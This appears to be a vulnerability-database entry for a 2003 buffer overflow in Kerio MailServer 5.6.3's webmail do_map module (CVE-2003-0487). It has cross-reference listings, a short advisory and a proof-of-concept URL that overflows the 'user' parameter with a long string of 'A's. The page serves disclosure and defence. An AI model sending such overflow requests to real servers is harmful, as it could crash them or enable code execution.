Kerio MailServer 5.6.3 do_map Module - Overflow

🗓️ 18 Jun 2003 00:00:00Reported by David F.MadridType

Multiple overflow vulnerabilities in Kerio MailServer's webmail component allow arbitrary code execution.

Reporter	Title	Published	Views	Family All 11
CVE	CVE-2003-0487	28 Jun 200304:00	–	cve
Cvelist	CVE-2003-0487	28 Jun 200304:00	–	cvelist
Exploit DB	Kerio MailServer 5.6.3 subscribe Module - Overflow	18 Jun 200300:00	–	exploitdb
Exploit DB	Kerio MailServer 5.6.3 add_acl Module - Overflow	18 Jun 200300:00	–	exploitdb
Exploit DB	Kerio MailServer 5.6.3 list Module - Overflow	18 Jun 200300:00	–	exploitdb
Exploit DB	Kerio MailServer 5.6.3 - Remote Buffer Overflow	27 Jun 200300:00	–	exploitdb
EUVD	EUVD-2003-0481	7 Oct 202500:30	–	euvd
Tenable Nessus	Kerio WebMail < 5.7.7 Multiple Vulnerabilities	18 Jun 200300:00	–	nessus
NVD	CVE-2003-0487	7 Aug 200304:00	–	nvd
OpenVAS	Kerio WebMail < 5.7.7 Multiple Vulnerabilities	24 Oct 200800:00	–	openvas

source: https://www.securityfocus.com/bid/7967/info

Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to insufficient bounds checking. Due to the similarity of these issues it has been conjectured that the root of the problem may be a single function used to handle all affected procedures.

Successful exploitation of this vulnerability could potentially result in the execution of arbitrary code, with the privileges of the Kerio MailServer process.

http://[Server]/do_map?
action=new&oldalias=eso&alias=aaa&folder=public&user=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA

18 Nov 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 27.5

EPSS0.11369